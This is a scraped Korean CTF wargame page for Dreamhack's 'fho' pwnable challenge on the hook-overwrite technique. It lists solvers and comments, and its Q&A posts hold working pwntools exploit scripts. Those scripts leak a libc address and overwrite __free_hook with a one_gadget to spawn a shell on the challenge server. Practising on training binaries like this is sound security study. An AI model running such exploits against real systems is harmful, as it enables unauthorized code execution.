LEVEL 2

fho

pwnable
  • 문제 정보
  • 풀이 51
  • 난이도 투표 49
  • 질문 21
  • 최근 풀이자 1003
  • 댓글 29

문제 설명

Description

Exploit Tech: Hook Overwrite에서 실습하는 문제입니다.

Challenge Updates

2023.04.27: Dockerfile이 제공됩니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
CTF First Place
출제된 지 4시간 만에 풀이 완료!

난이도 투표 49

질문 21

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
문제가 뭔지 모르겠습니다. ㅠㅜ
exploit test를 통해서 Hook overwrite를 따라해보고 있습니다. local에서 flag 값까지 얻었는데 실제 서버에서는 flag값이 안나오네요. 뭐가 문제인지 알 수 있을까요? code #!/usr/bin/python3 from pwn import * p = remote("host1.dreamhack.games", 17917) #p = process("./fho") e = ELF("./fho") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") def slog(name, addr): return success(": ".join([name, hex(addr)])) buf = b"A"*0x48 p.sendafter("Buf: ", buf) p.recvuntil(buf) libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2) libc_base = libc_start_main_xx - 0x021b97 free_hook = libc_base + libc.symbols["_free_hook"] og = libc_base+0x4f302 slog("libc_base", libc_base) slog("free_hook", free_hook) p.recvuntil("To write: ") p.sendline(str(free_hook)) p.recvuntil("With: ") p.sendline(str(og)) p.recvuntil("To free: ") p.sendline(str(0x31337)) # doesn't matter p.interactive() server 응답 hyunmin@WMRRD11-NC102M3:~/hyunmin$ python result.py [+] Opening connection to host1.dreamhack.games on port 17917: Done [*] '/home/hyunmin/hyunmin/fho' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/lib/x86_64-linux-gnu/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] libc_base: 0x7f4ec0479060 [+] free_hook: 0x7f4ec0866948 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ ls
김현민_cto
local 에서는 flag 가 보이는데, remote 에서는 flag 파일이 안보입니다
ubuntu 18.04 docker 환경설정해서 local 에서는 정상적으로 동작하는 것을 확인했습니다. 그런데 remote 로 연결하면 flag 파일이 보이지 않는데, 제가 뭘 잘 못한 걸까요? local 실행 결과 root@9d8cef7e6f20:/home/fho# python fho.py [+] Starting local process './fho': pid 5869 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/fho/fho' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/lib/x86_64-linux-gnu/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Switching to interactive mode $ ls fho fho.py fho2.py flag venv $ cat flag DH{flag} remote 실행결과 root@9d8cef7e6f20:/home/fho# python fho.py [+] Opening connection to host3.dreamhack.games on port 17073: Done [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/fho/fho' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/lib/x86_64-linux-gnu/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Switching to interactive mode [*] Got EOF while reading in interactive $ ls $ cat flag $ `
피노

최근 풀이자 1003

한영
대표 업적 없음
swoo0105
대표 업적 없음
avatar
cyalume
강의 수강: 10
인썰
대표 업적 없음
gomddak
대표 업적 없음
daeseong1209
대표 업적 없음
lillilIlilill
대표 업적 없음
ㄴㅇ
대표 업적 없음
Dirstibone
워게임 풀이: 1
이석희
대표 업적 없음

댓글 29

avatar
스카이넷
강의 수강: 10
ez
catpwn
대표 업적 없음
라이브러리 버전...............
avatar
KnightChaser
공부벌레
Bidirectional methods to solve this intrigue me more
avatar
Sunja
강의 수강: 10
main 함수의 실현과정?을 정확히 알 수 있어서 좋았습니다./
avatar
skandia
대표 업적 없음
어우 로컬이랑 환경 달라서 삽질 엄청했네
avatar
Ox0ne
대표 업적 없음
개념은 쉬운데 워게임을 풀려하면 매번 어렵
kioreo
CTF Second Place
gg
avatar
msh1307
대표 업적 없음
ret가 로컬환경이랑 약간 달라서 찍어맞췄네 ;;
For_Freedom
워게임 고인물
gg
avatar
Rasser
워게임: 20
ez